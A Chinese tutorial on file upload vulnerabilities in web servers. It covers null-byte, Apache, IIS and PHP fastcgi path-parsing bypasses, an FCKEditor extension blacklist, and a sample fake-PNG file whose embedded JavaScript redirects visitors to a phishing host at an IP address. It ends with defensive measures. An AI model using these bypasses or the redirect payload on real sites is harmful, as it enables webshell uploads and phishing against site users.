WEB服务端安全---文件上传漏洞
1、简述
文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务端命令的能力。这种攻击方式是最直接和有效的,而且互联网中我们经常会用到文件上传功能,它本身是没有问题的,正常的业务需求,可是文件上传后服务器如果不能安全有效的处理或解释文件,往往会造成严重的后果。
常见的安全问题:
上传的文件是web脚本语言,服务器的web容器解释并执行了用户上传的脚本,导致代码执行;
上传的文件是flash的策略文件crossdomain.xml,黑客用以控制flash在该领域下的行为;
上传的文件是病毒、木马文件,黑客用以诱骗用户或管理员下载执行;
上传的文件是钓鱼图片或者包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。
大多数情况下文件长传漏洞一般都是值值指第一点(webshell问题),完成该攻击的条件如下:
上传的文件能够被web容器解释执行;
用户能够从web访问该文件;
上传的文件不被安全检查、格式化、图片压缩等改变内容。
2、文件上传漏洞举例
1) 富文本编辑器FCKEditor 上传文件的漏洞,在存在漏洞的版本中,其文件检查的部分如下:
$Config['AllowedExtensions']['File'] = array();
$Config['DeniedExtensions']['File'] =
array('php','php3','php5','phtml','asp','aspx','ascx','jsp','cfm','cfc','pl','bat','exe','dll','reg','cgi');
这是以黑名单的方式限制文件上传的,设计思想就是不好的,就该例而言,上传后缀为php2 php4等等文件,就可能导致安全问题发生. 可采用表名单的思想会好很多.
2) 通过某些手段绕过文件上传检查 如下:
应用原本只允许上传JPG图片,如果构造文件名(修改POST包)为xxx.php.[\0].JPG 其中 [\0]为十六进制的0x00字符, .JPG
满足绕过了上传文件类型判断,但对于服务器来说,文件因为0字节的截断关系,做种却成了xxx.php
3)Apache 文件解析问题
Apache1.x 2.x 中文件解析是从后往前解析的,直到遇到一个Apache认识的文件类型为止。Apache所认识的文件类型定义在Apache的mime.types文件中。 比如:上传文件phpshell.php.rar.rar ,文件.rar是合法的上传需求,应用中判断文件类型也只判断了后缀是否为.rar 用户上传成功,但Apache不认识.rar 一直遍历后缀到.php 认为是个php文件,导致脚本执行带来安全问题。
4)IIS文件解析问题
IIS 6 处理文件解析时,因 ‘;’ 截断符是文件名别截断更改。如:xxx.php;ab.jpg IIS 6会将此文件解析为xxx.php从而执行脚本。
5)PHP CGI(fastcgi)路径解析问题
此问题与 fastcgi方式下,PHP获取环境变量的方式有关。PHP配置文件中一个关键选项 cgi_pathinfo 该选项默认开启 : cgi.fix_pathinfo = 1 。在映射URL时两个环境变量很重要:PATH_INFO SCRIPT_FILENAME.如:
当访问 http://www.xxx.com/path/test.jpg/notexist.php
PATH_INFO = notexist.php 这cgi_pathinfo个选项为1的时候,在映射URL时,将递归查询路径确认文件的合法性。notexist.php是不存在的,所以递归查询路径,此时出发的逻辑是:
/**
* if the file not exist,try to extract PATH_INFO out of
* it by stat'ing back through the '/' this file url's like /info.php/test
*/
if(script_path_translated &&
(script_path_translated_len = strlen(script_path_translated)) > 0 &&
(script_path_translated[script_path_translated_len-1] == '/') ||
.....
这个往前递归的功能原本是想解决 /info.php/test 这种路径URL 能正确解析到info.php.此时的SCRIPT_FILENAME 需要检查文件是否存在,所以会是/path/test.jpg 而PATH_INFO 此时还是notexidt.php 在最终执行的时候 test.jpg会被当做PHP进行解析,从而导致安全问题。PHP官方建议 将cgi.fix_pathinfo 设置为 0
6) 利用上传文件钓鱼
钓鱼网站传播时,会利用XSS、服务器302跳转等功能从正常网站跳转到钓鱼网站,这种钓鱼会暴露真是的钓鱼地址在URL中。而利用文件上传,钓鱼者可以先将包含了html的文件上传至目标网站,再通过传播这个文件进行钓鱼,这种方式,URL中不会出现钓鱼网址,更具欺骗性。如下:
http://test.com/upload/2018/02/item.jpg?1_148
实际内容为:
png
<script lsngusge='javascript'>
var c = window.location.todtring();
if(c.indexof("?") != -1{
var i=c.split("?")[1];
if(i.split("_")[0]==1){
location.href = 'http://47.95.216.98/images/items.asp?id='+i.split("_")[1];
}else{
location.href = 'http://47.95.216.98/images/items.asp?id='+i.split("_")[1];
}
}
</script>
其中png为伪造的文件头,用于绕过上传时的文件检查,接下来一段脚本,如执行,将控制浏览器跳转到钓鱼网站,此时只需要传播合法URL的图片就会进行钓鱼传播。
3、安全措施
a 文件上传的目录设置为不可执行
只要web容器无法解析该目录下的文件,及时供给者上传了脚本文件,服务器本身也不会受到影响.
b 判断文件类型
在判断文件类型时,可以结合使用MIME Type 后缀检查等方式.文件类型检查中,强烈推荐白名单方式,黑名单的方式已经无数次被证明是不可靠的.此外对图片的处理可以使用压缩函数等,在处理图片的同时破坏图片中可能包含的html代码.
c 使用随机数改写文件名和路径
文件上传如果要执行代码,则需要能过访问到上传的文件,如果应用使用随机数改写了文件名和路径,将极大的增加攻击的成本.某些特定文件名的文件也将应为文件名的更改而无法成功实施攻击.
d 单独设置文件服务器的域名
由于浏览器同源策略的关系,一系列客户端攻击将失败,如:上传crossdomain.xml 上传包含JavaScript的XSS利用等问题将得到解决.
总之,文件上传往往与代码执行联系在一起,因此对于业务中要用到的上传功能,都应该有安全工程师进行严格检查。同时文件上传又可能存在诸如钓鱼、木马、等危害到最终用户的业务风险问题,因此这一领域我们也要充分考虑。
WEB服务端安全---文件上传漏洞的更多相关文章
- Web应用安全之文件上传漏洞详解
什么是文件上传漏洞 文件上传漏洞是在用户上传了一个可执行的脚本文件,本通过此脚本文件获得了执行服务器端命令的功能,这种攻击方式是最为直接,最为有效的,有时候,几乎没有什么门槛,也就是任何人都可以进行这 ...
- [web安全原理分析]-文件上传漏洞基础
简介 前端JS过滤绕过 待更新... 文件名过滤绕过 待更新 Content-type过滤绕过 Content-Type用于定义网络文件的类型和网页编码,用来告诉文件接收方以什么形式.什么编码读取这个 ...
- web服务端安全之文件上传漏洞
一.文件上传漏洞的原理 由于程序代码未对用户提交的文件进行严格的分析和检查,导致攻击者可以上传可执行的代码文件,从而获取web应用的控制权限. 常见于上传功能,富文本编辑器. 二.文件上传漏洞的防御 ...
- web安全之文件上传漏洞
成因: 当文件上传时,若服务端脚本语言未对上传的文件进行严格验证和过滤,若恶意用户上传恶意的 脚本文件时,就有可能控制整个网站甚至是服务器,这就是文件上传漏洞. 权限: 1. 后台权限:登陆了后台,可 ...
- web安全之文件上传漏洞攻击与防范方法
一. 文件上传漏洞与WebShell的关系 文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行.这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等.这种攻击方式是最为直接和有效 ...
- web端、android端的文件上传
1.web端的文件上传. 这里是利用了第三方的jar包.这里所需要的jar包我已经上传到本博客的资源里了,以下是连接 http://download.csdn.net/detail/caihongsh ...
- WEB安全:文件上传漏洞
文件上传漏洞过程 用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力. 一般的情况有: 上传文件WEB脚本语言,服务器的WEB容器解释并执行了用户上传的脚本,导致代码执行: ...
- 基于 java 【Web安全】文件上传漏洞及目录遍历攻击
前言:web安全之文件上传漏洞,顺带讲一下目录遍历攻击.本文基于 java 写了一个示例. 原理 在上网的过程中,我们经常会将一些如图片.压缩包之类的文件上传到远端服务器进行保存.文件上传攻击指的是恶 ...
- web文件上传漏洞
什么是文件上传漏洞? 指利用系统的对文件上传部分的控制不足或处理缺陷,上传可执行的动态脚本文件/webShell进行攻击行为. 原因 对于上传文件的后缀名(扩展名)没有做较为严格的限制 对于上传文件的 ...
随机推荐
- Java:CAS(乐观锁)
本文讲解CAS机制,主要是因为最近准备面试题,发现这个问题在面试中出现的频率非常的高,因此把自己学习过程中的一些理解记录下来,希望能对大家也有帮助. 什么是悲观锁.乐观锁?在java语言里,总有一些名 ...
- ubuntu18+virtualenv配置
思路: 1.两条命令安装,加sudo是安装在/usr/local/bin/virtualenv路径下,不加就安装在home/.local下.注意,后面bashrc里,要设置的路径和这个有关系,所以要区 ...
- django 中间件的使用??
django 中的中间件(middleware),在django中,中间件其实就是一个类,在请求到来和结束后,django会根据自己的规则在合适的时机执行中间件中相应的方法. 在django项目的se ...
- Codeforces - 1198C - Matching vs Independent Set - 贪心
https://codeforces.com/contest/1198/problem/C 要选取一个大小大于等于n的匹配或者选取一个大小大于等于n的独立集. 考虑不断加入匹配集,最终加入了x条边. ...
- 15、前端知识点--MVVM
MVVM模式的理解 MVVM模式里面,核心是数据. 各种前端框架,最核心的说就是保持了数据与视图的同步. 数据驱动思想:数据驱动视图. Vue不建议手动操作DOM. 以前是指令操作DOM,其实本质上底 ...
- Django:django-debug-toolbar模块
简介: Django的django-debug-toolbar 模块是一组可配置的面板,可显示有关当前请求/响应的各种调试信息,并在单击时显示有关面板内容的更多详细信息. GitHub源文件下载地址 ...
- 表格类型数据,Excel csv导入,导出操作
import pandas # 创建表格格式# ad = pandas.DataFrame({"a": range(1, 10), "b": range(10, ...
- Kintex 7五兄弟
基KC705E 增强版 基于FMC接口的Xilinx Kintex-7 FPGA K7 XC7K325T PCIeX8 接口卡(136) 本板卡是Xilinx公司芯片V5系列芯片设计信号处理板卡.由一 ...
- 安装Git,Maven,配置ssh认证
安装git: yum -y install git 安装maven: wget http://mirror.bit.edu.cn/apache/maven/maven-3/3.6.1/binaries ...
- luogu3350 [ZJOI2016]旅行者
链接 P3350 [ZJOI2016]旅行者 题目大意:给出网格图,求两点之间最短路,多组询问. \(n*m\leq10^5\ \ q\leq 10^5\) 考虑\(CDQ\)分治. 首先把询问离线, ...